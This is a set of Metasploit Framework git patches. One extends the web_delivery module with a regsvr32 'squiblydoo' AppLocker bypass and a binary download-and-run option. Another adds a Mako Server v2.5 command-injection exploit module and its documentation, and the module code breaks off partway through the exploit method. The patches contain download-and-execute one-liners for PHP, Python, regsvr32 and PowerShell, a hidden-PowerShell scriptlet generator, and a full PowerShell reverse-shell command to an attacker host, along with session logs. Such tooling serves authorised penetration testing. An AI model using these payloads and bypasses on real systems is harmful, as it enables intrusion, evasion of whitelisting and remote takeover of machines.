     super(update_info(info,

From f2cba8d920485059a1cdfb1a00dd6b8b68e1226e Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 16:29:11 -0500
Subject: [PATCH 052/254] Land #8933, Web_Delivery - Merge
 regsvr32_applocker_bypass_server & Add PSH(Binary)

This restores the original PR
---
 metasploit-framework.gemspec                  |   2 +-
 modules/exploits/multi/script/web_delivery.rb | 154 ++++++++++++++----
 .../misc/regsvr32_applocker_bypass_server.rb  |   3 +
 3 files changed, 124 insertions(+), 35 deletions(-)

diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 6accc821ad..7bf217c2c3 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
   # Library for Generating Randomized strings valid as Identifiers such as variable names
   spec.add_runtime_dependency 'rex-random_identifier'
   # library for creating Powershell scripts for exploitation purposes
-  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
+  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
   # Library for processing and creating Zip compatbile archives
   spec.add_runtime_dependency 'rex-zip'
   # Library for parsing offline Windows Registry files
diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 9adc1dacb4..707f1ca524 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -8,6 +8,7 @@ require 'msf/core/exploit/powershell'
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ManualRanking
 
+  include Msf::Exploit::EXE
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
 
@@ -15,22 +16,34 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'         => 'Script Web Delivery',
       'Description'  => %q(
-        This module quickly fires up a web server that serves a payload.
-        The provided command will start the specified scripting language interpreter and then download and execute the
-        payload. The main purpose of this module is to quickly establish a session on a target
-        machine when the attacker has to manually type in the command himself, e.g. Command Injection,
-        RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
-        write to disk so it is less likely to trigger AV solutions and will allow privilege
-        escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
-        payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
-        x86 payloads on x64 machines.
+           This module quickly fires up a web server that serves a payload.
+        The provided command which will allow for a payload to download and execute.
+        It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
+        for bypassing application whitelisting. The main purpose of this module is to quickly establish
+        a session on a target machine when the attacker has to manually type in the command:
+        e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
+        This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
+        escalations supplied by Meterpreter.
+
+        When using either of the PSH targets, ensure the payload architecture matches the target computer
+        or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
+
+        Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
+        The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
+        PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
+        can occur on the same port.
+
+        "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
       ),
       'License'      => MSF_LICENSE,
       'Author'       =>
         [
           'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
           'Ben Campbell',
-          'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
+          'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
+          'Casey Smith',    # AppLocker bypass research and vulnerability discovery (@subTee)
+          'Trenton Ivey',   # AppLocker MSF Module (kn0)
+          'g0tmi1k',        # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
         ],
       'DefaultOptions' =>
         {
@@ -38,10 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote
         },
       'References'     =>
         [
-          ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
-          ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
+          ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
+          ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
           ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
-          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
+          ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
+          ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
         ],
       'Platform'       => %w(python php win),
       'Targets'        =>
@@ -57,45 +71,117 @@ class MetasploitModule < Msf::Exploit::Remote
           ['PSH', {
             'Platform' => 'win',
             'Arch' => [ARCH_X86, ARCH_X64]
+          }],
+          ['Regsvr32', {
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64]
+          }],
+          ['PSH (Binary)', {
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64]
           }]
         ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Jul 19 2013'
     ))
+
+  register_advanced_options(
+    [
+      OptBool.new('PSH-Proxy',            [ true,  'PSH - Use the system proxy', true ]),
+      OptString.new('PSHBinary-PATH',     [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
+      OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
+    ], self.class
+  )
   end
 
+
+  def primer
+    php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
+    python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
+    regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
+
+    print_status("Run the following command on the target machine:")
+    case target.name
+    when 'PHP'
+      print_line("#{php}")
+    when 'Python'
+      print_line("#{python}")
+    when 'PSH'
+      psh = gen_psh("#{get_uri}", "string")
+      print_line("#{psh}")
+    when 'Regsvr32'
+      print_line("#{regsvr}")
+    when 'PSH (Binary)'
+      psh = gen_psh("#{get_uri}", "download")
+      print_line("#{psh}")
+    end
+  end
+
+
   def on_request_uri(cli, _request)
-    print_status('Delivering Payload')
-    if target.name.include? 'PSH'
+    if _request.raw_uri =~ /\.sct$/
+      psh = gen_psh("#{get_uri}", "string")
+      data = gen_sct_file(psh)
+    elsif target.name.include? 'PSH (Binary)'
+      data = generate_payload_exe
+    elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
       data = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
                              remove_comspec: true,
                              exec_in_place: true
                            )
     else
-      data = %Q(#{payload.encoded} )
+      data = %Q(#{payload.encoded})
+    end
+
+    if _request.raw_uri =~ /\.sct$/
+      print_status("Handling .sct Request")
+      send_response(cli, data, 'Content-Type' => 'text/plain')
+    else
+      print_status("Delivering Payload")
+      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
     end
-    send_response(cli, data,  'Content-Type' => 'application/octet-stream')
   end
 
-  def primer
-    url = get_uri
-    print_status('Run the following command on the target machine:')
-    case target.name
-    when 'PHP'
-      print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
-    when 'Python'
-      print_line('Python:')
-      print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
-    when 'PSH'
+
+  def gen_psh(url, *method)
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
-      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
+
+      if method.include? 'string'
+        download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
+      else
+        # Random filename to use, if there isn't anything set
+        random = "#{rand_text_alphanumeric 8}.exe"
+
+        # Set filename (Use random filename if empty)
+        filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
+
+        # Set path (Use %TEMP% if empty)
+        path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
+
+        # Join Path and Filename
+        file = %Q(echo (#{path}+'\\#{filename}'))
+
+        # Generate download PowerShell command
+        download_string = Rex::Powershell::PshMethods.download_run(url, file})
+      end
+
       download_and_run = "#{ignore_cert}#{download_string}"
-      print_line generate_psh_command_line(
-                                             noprofile: true,
-                                             windowstyle: 'hidden',
-                                             command: download_and_run
-                                           )
-    end
+
+      # Generate main PowerShell command
+      return generate_psh_command_line(noprofile: true,
+                                       windowstyle: 'hidden',
+                                       command: download_and_run
+                                     )
+  end
+
+
+  def rand_class_id
+    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+  end
+
+
+  def gen_sct_file(command)
+    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
   end
 end
diff --git a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
index bb12511682..1143b831a5 100644
--- a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
+++ b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
@@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
+  include Msf::Module::Deprecated
+
+  deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
 
   def initialize(info = {})
     super(update_info(info,

From 43b67fe80bc79ffafa70e4784407054fbc4f3ed0 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Thu, 26 Oct 2017 15:01:53 -0500
Subject: [PATCH 053/254] remove errant bracket, formatting update

---
 Gemfile.lock                                  | 4 ++--
 modules/exploits/multi/script/web_delivery.rb | 7 ++-----
 2 files changed, 4 insertions(+), 7 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 572a93e651..69ab329926 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -49,7 +49,7 @@ PATH
       rex-mime
       rex-nop
       rex-ole
-      rex-powershell (< 0.1.73)
+      rex-powershell (< 0.1.78)
       rex-random_identifier
       rex-registry
       rex-rop_builder
@@ -278,7 +278,7 @@ GEM
       rex-arch
     rex-ole (0.1.6)
       rex-text
-    rex-powershell (0.1.72)
+    rex-powershell (0.1.77)
       rex-random_identifier
       rex-text
     rex-random_identifier (0.1.4)
diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 707f1ca524..c73bbff5f7 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -163,16 +163,13 @@ class MetasploitModule < Msf::Exploit::Remote
         file = %Q(echo (#{path}+'\\#{filename}'))
 
         # Generate download PowerShell command
-        download_string = Rex::Powershell::PshMethods.download_run(url, file})
+        download_string = Rex::Powershell::PshMethods.download_run(url, file)
       end
 
       download_and_run = "#{ignore_cert}#{download_string}"
 
       # Generate main PowerShell command
-      return generate_psh_command_line(noprofile: true,
-                                       windowstyle: 'hidden',
-                                       command: download_and_run
-                                     )
+      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
   end
 
 

From cd755b05d5e7f904063793f0293e9248af4429a0 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Thu, 26 Oct 2017 15:03:10 -0500
Subject: [PATCH 054/254] update powershell specs for rex-powershell 0.1.77

---
 .../cmd/windows/powershell_bind_tcp.rb        |  2 +-
 .../cmd/windows/powershell_reverse_tcp.rb     |  2 +-
 .../singles/windows/powershell_bind_tcp.rb    |  2 +-
 .../singles/windows/powershell_reverse_tcp.rb |  2 +-
 .../windows/x64/powershell_bind_tcp.rb        |  2 +-
 .../windows/x64/powershell_reverse_tcp.rb     |  2 +-
 spec/lib/msf/core/exploit/powershell_spec.rb  | 35 +++++++++----------
 7 files changed, 22 insertions(+), 25 deletions(-)

diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
index b677a24fef..83e3bc0f93 100644
--- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
+++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/core/handler/bind_tcp'
 
 module MetasploitModule
 
-  CachedSize = 1501
+  CachedSize = 1518
 
   include Msf::Payload::Single
   include Rex::Powershell::Command
diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
index 2eb30f8fdd..48bcf2a81d 100644
--- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
+++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
 
 module MetasploitModule
 
-  CachedSize = 1509
+  CachedSize = 1526
 
   include Msf::Payload::Single
   include Rex::Powershell::Command
diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb
index 9b7413ffef..caf3a2f68d 100644
--- a/modules/payloads/singles/windows/powershell_bind_tcp.rb
+++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb
@@ -15,7 +15,7 @@ require 'msf/core/handler/bind_tcp'
 ###
 module MetasploitModule
 
-  CachedSize = 1501
+  CachedSize = 1518
 
   include Msf::Payload::Windows::Exec
   include Rex::Powershell::Command
diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb
index f7a5dcab0c..beba1f83bc 100644
--- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb
@@ -15,7 +15,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
 ###
 module MetasploitModule
 
-  CachedSize = 1509
+  CachedSize = 1526
 
   include Msf::Payload::Windows::Exec
   include Msf::Payload::Windows::Powershell
diff --git a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
index 477f7c0961..face477a1b 100644
--- a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
@@ -15,7 +15,7 @@ require 'msf/core/handler/bind_tcp'
 ###
 module MetasploitModule
 
-  CachedSize = 1501
+  CachedSize = 1518
 
   include Msf::Payload::Windows::Exec_x64
   include Rex::Powershell::Command
diff --git a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb
index e3bdaee025..5713b440c1 100644
--- a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb
@@ -15,7 +15,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
 ###
 module MetasploitModule
 
-  CachedSize = 1509
+  CachedSize = 1526
 
   include Msf::Payload::Windows::Exec_x64
   include Msf::Payload::Windows::Powershell
diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
index fbe38decdf..ef6b4ca487 100644
--- a/spec/lib/msf/core/exploit/powershell_spec.rb
+++ b/spec/lib/msf/core/exploit/powershell_spec.rb
@@ -313,14 +313,9 @@ RSpec.describe Msf::Exploit::Powershell do
         subject.datastore['Powershell::method'] = 'msil'
         subject.options.validate(subject.datastore)
       end
-      it 'should raise an exception' do
-        except = false
-        begin
-          subject.cmd_psh_payload(payload, arch)
-        rescue RuntimeError
-          except = true
-        end
-        expect(except).to be_truthy
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        expect(decompress(code).include?('System.Reflection.MethodInfo')).to be_truthy
       end
     end
 
@@ -396,10 +391,10 @@ RSpec.describe Msf::Exploit::Powershell do
       end
     end
 
-    context 'when use single quotes' do
-      it 'should wrap in single quotes' do
-        code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
-        expect(code.include?(' -c \'')).to be_truthy
+    context 'when wrap double quotes' do
+      it 'should wrap in double quotes' do
+        code = subject.cmd_psh_payload(payload, arch, {:wrap_double_quotes => true})
+        expect(code.include?(' -c "')).to be_truthy
       end
     end
   end
@@ -449,7 +444,8 @@ RSpec.describe Msf::Exploit::Powershell do
                     [:sta, true],
                     [:noprofile, true],
                     [:windowstyle, "hidden"],
-                    [:command, "Z"]
+                    [:command, "Z"],
+                    [:wrap_double_quotes, true]
     ]
 
     permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
@@ -464,20 +460,21 @@ RSpec.describe Msf::Exploit::Powershell do
           opts[:shorten] = false
           long_args = subject.generate_psh_args(opts)
 
-          opt_length = opts.length - 1
-
           expect(short_args).not_to be_nil
           expect(long_args).not_to be_nil
-          expect(short_args.count('-')).to eql opt_length
-          expect(long_args.count('-')).to eql opt_length
           expect(short_args[0]).not_to eql " "
           expect(long_args[0]).not_to eql " "
           expect(short_args[-1]).not_to eql " "
           expect(long_args[-1]).not_to eql " "
 
           if opts[:command]
-            expect(long_args[-10..-1]).to eql "-Command Z"
-            expect(short_args[-4..-1]).to eql "-c Z"
+            if opts[:wrap_double_quotes]
+              expect(long_args[-12..-1]).to eql "-Command \"Z\""
+              expect(short_args[-6..-1]).to eql "-c \"Z\""
+            else
+              expect(long_args[-10..-1]).to eql "-Command Z"
+              expect(short_args[-4..-1]).to eql "-c Z"
+            end
           end
        end
       end

From 8613852ee8ef31f34229437ed108d20dadd0f267 Mon Sep 17 00:00:00 2001
From: Steven Patterson <steven@shogunlab.com>
Date: Thu, 26 Oct 2017 23:29:11 -0400
Subject: [PATCH 055/254] Add Mako Server v2.5 command injection module/docs

---
 .../windows/http/makoserver_cmd_exec.md       | 163 ++++++++++++++++++
 .../windows/http/makoserver_cmd_exec.rb       | 125 ++++++++++++++
 2 files changed, 288 insertions(+)
 create mode 100644 documentation/modules/exploit/windows/http/makoserver_cmd_exec.md
 create mode 100644 modules/exploits/windows/http/makoserver_cmd_exec.rb

diff --git a/documentation/modules/exploit/windows/http/makoserver_cmd_exec.md b/documentation/modules/exploit/windows/http/makoserver_cmd_exec.md
new file mode 100644
index 0000000000..207fc99c1e
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/makoserver_cmd_exec.md
@@ -0,0 +1,163 @@
+## Description
+
+  This module exploits a vulnerability found in Mako Server v2.5.
+  It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
+
+  Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
+
+## Vulnerable Application
+
+  [Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
+
+  This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
+  - v2.5
+
+  Links:
+  - [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
+  - [Windows download page](https://makoserver.net/download/windows)
+  - [Documentation](https://makoserver.net/documentation/manual/)
+
+## References for vulnerability
+  - https://blogs.securiteam.com/index.php/archives/3391
+  - https://www.exploit-db.com/exploits/42683
+
+## Verification Steps
+
+  1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
+  2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
+  3. Start msfconsole on host
+  4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
+  5. Do: ```set RHOST <IP address of target system>```
+  6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
+  7. Do: ```set LHOST <IP address of host system>```
+  8. Do: ```exploit```
+  9. You should get a Windows command shell
+
+## Example Output
+```
+msf > use exploit/windows/http/makoserver_cmd_exec 
+msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
+RHOST => 10.10.10.3
+msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
+PAYLOAD => cmd/windows/reverse_powershell
+msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
+LHOST => 10.10.10.2
+msf exploit(makoserver_cmd_exec) > exploit
+
+[*] Started reverse TCP handler on 10.10.10.2:4444 
+[*] Sending payload to target...
+[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
+
+Microsoft Windows
+Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
+
+C:\Users\Smith\Downloads\MakoServer>
+
+```
+
+## Example Verbose Output
+```
+msf > use exploit/windows/http/makoserver_cmd_exec 
+msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
+RHOST => 10.10.10.3
+msf exploit(makoserver_cmd_exec) > set VERBOSE true
+VERBOSE => true
+msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
+PAYLOAD => cmd/windows/reverse_powershell
+msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
+LHOST => 10.10.10.2
+msf exploit(makoserver_cmd_exec) > check
+
+[*] Trying to detect running Mako Server and necessary files...
+[*] Mako Server save.lsp returns correct ouput.
+[*] 10.10.10.3:80 The target appears to be vulnerable.
+msf exploit(makoserver_cmd_exec) > exploit
+
+[*] Started reverse TCP handler on 10.10.10.2:4444 
+[*] Sending payload to target...
+[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
+[*] Sending PUT request to save.lsp...
+[*] Sending GET request to manage.lsp...
+[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
+
+Microsoft Windows
+Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
+
+C:\Users\Smith\Downloads\MakoServer>
+
+```
+
+## Scenarios
+
+### Targeting Windows 7 SP1 x64 running Mako Server v2.5
+
+  A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
+
+  ```
+  msf > use exploit/windows/http/makoserver_cmd_exec 
+  msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
+  RHOST => 10.10.10.2
+  msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
+  PAYLOAD => cmd/windows/reverse_powershell
+  msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
+  LHOST => 10.10.10.4
+  msf exploit(makoserver_cmd_exec) > check
+  [*] 10.10.10.2:80 The target appears to be vulnerable.
+  msf exploit(makoserver_cmd_exec) > exploit
+
+  [*] Started reverse TCP handler on 10.10.10.4:4444 
+  [*] Sending payload to target...
+  [*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
+
+  Microsoft Windows
+  Copyright (c) Microsoft Corporation.  All rights reserved.
+
+  C:\Users\Smith\Downloads\MakoServer>^Z
+  Background session 1? [y/N]  y
+  msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
+  msf post(shell_to_meterpreter) > sessions -l
+
+  Active sessions
+  ===============
+
+    Id  Name  Type               Information  Connection
+    --  ----  ----               -----------  ----------
+    1         shell cmd/windows               10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
+  msf post(shell_to_meterpreter) > set SESSION 1
+  SESSION => 1
+  msf post(shell_to_meterpreter) > set LPORT 8080
+  LPORT => 8080
+  msf post(shell_to_meterpreter) > exploit
+
+  [*] Upgrading session ID: 1
+  [*] Starting exploit/multi/handler
+  [*] Started reverse TCP handler on 10.10.10.4:8080
+  [-] Powershell is not installed on the target.
+  [*] Command stager progress: 1.66% (1699/102108 bytes)
+  ...
+  [*] Command stager progress: 100.00% (102108/102108 bytes)
+  [*] Post module execution completed
+  msf post(shell_to_meterpreter) > sessions -l
+
+  Active sessions
+  ===============
+
+    Id  Name  Type                     Information                            Connection
+    --  ----  ----                     -----------                            ----------
+    1         shell cmd/windows                                               10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
+    2         meterpreter x86/windows  smith-PC\smith @ SMITH-PC  10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
+
+  msf post(shell_to_meterpreter) > sessions -i 2
+  [*] Starting interaction with 2...
+
+  meterpreter > getuid
+  Server username: smith-PC\smith
+  meterpreter > sysinfo
+  Computer        : SMITH-PC
+  OS              : Windows 7 (Build 7601, Service Pack 1).
+  Architecture    : x64
+  System Language : en_US
+  Domain          : WORKGROUP
+  Logged On Users : 2
+  Meterpreter     : x86/windows
+  ```
diff --git a/modules/exploits/windows/http/makoserver_cmd_exec.rb b/modules/exploits/windows/http/makoserver_cmd_exec.rb
new file mode 100644
index 0000000000..98d0e456ea
--- /dev/null
+++ b/modules/exploits/windows/http/makoserver_cmd_exec.rb
@@ -0,0 +1,125 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Mako Server v2.5 OS Command Injection RCE',
+      'Description'    => %q{
+        This module exploits a vulnerability found in Mako Server v2.5.
+        It's possible to inject arbitrary OS commands in the Mako Server
+        tutorial page through a PUT request to save.lsp.
+
+        Attacker input will be saved on the victims machine and can
+        be executed by sending a GET request to manage.lsp.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
+          'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
+        ],
+      'References'     =>
+        [
+          ['EDB', '42683'],
+          ['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
+        ],
+      'Arch'           => ARCH_CMD,
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Mako Server v2.5 - Windows x86/x64', { }]
+        ],
+      'DefaultTarget'  => 0,
+      'Privileged'     => false,
+      'DisclosureDate' => 'Sep 3 2017'))
+
+    register_options(
+      [
+        OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
+      ]
+    )
+  end
+
+  def check
+    vprint_status('Trying to detect running Mako Server and necessary files...')
+
+    # Send GET request to determine existence of save.lsp page
+    res = send_request_cgi({
+             'method' => 'GET',
+             'uri'    => normalize_uri(datastore['URI'], 'examples/save.lsp')
+           }, 20)
+
+    # If response does not include "MakoServer.net", target is not viable.
+    if res.headers['Server'] !~ /MakoServer.net/
+      vprint_warning 'Target is not a Mako Server.'
+      return CheckCode::Safe
+    end
+
+    if res.body
+      if res.body =~ /Incorrect usage/
+        # We are able to determine that the server has a save.lsp page and
+        # returns the correct output.
+        vprint_status 'Mako Server save.lsp returns correct ouput.'
+        return CheckCode::Appears
+      else
+        # The page exists, but is not returning the expected output.
+        # May be a different version?
+        vprint_warning 'Mako Server save.lsp did not return expected output.'
+        return CheckCode::Detected
+      end
+    else
+      # The above checks failed and exploitability could not be determined.
+      vprint_error('Unable to determine exploitability, save.lsp not found.')
+      return CheckCode::Unknown
+    end
+
+    return CheckCode::Safe
+  end
+
+  def exploit
+    print_status('Sending payload to target...')
+
+    # The double square brackets helps to ensure single/double quotes
+    # in cmd payload do not interfere with syntax of os.execute Lua function.
+    cmd = %{os.execute([[#{payload.encoded}]])}
+
+    # If users want to troubleshoot their cmd payloads, they can see the
+    # Lua function with params that the module uses in a more verbose mode.
+    vprint_status("Now executing the following command: #{cmd}")
+
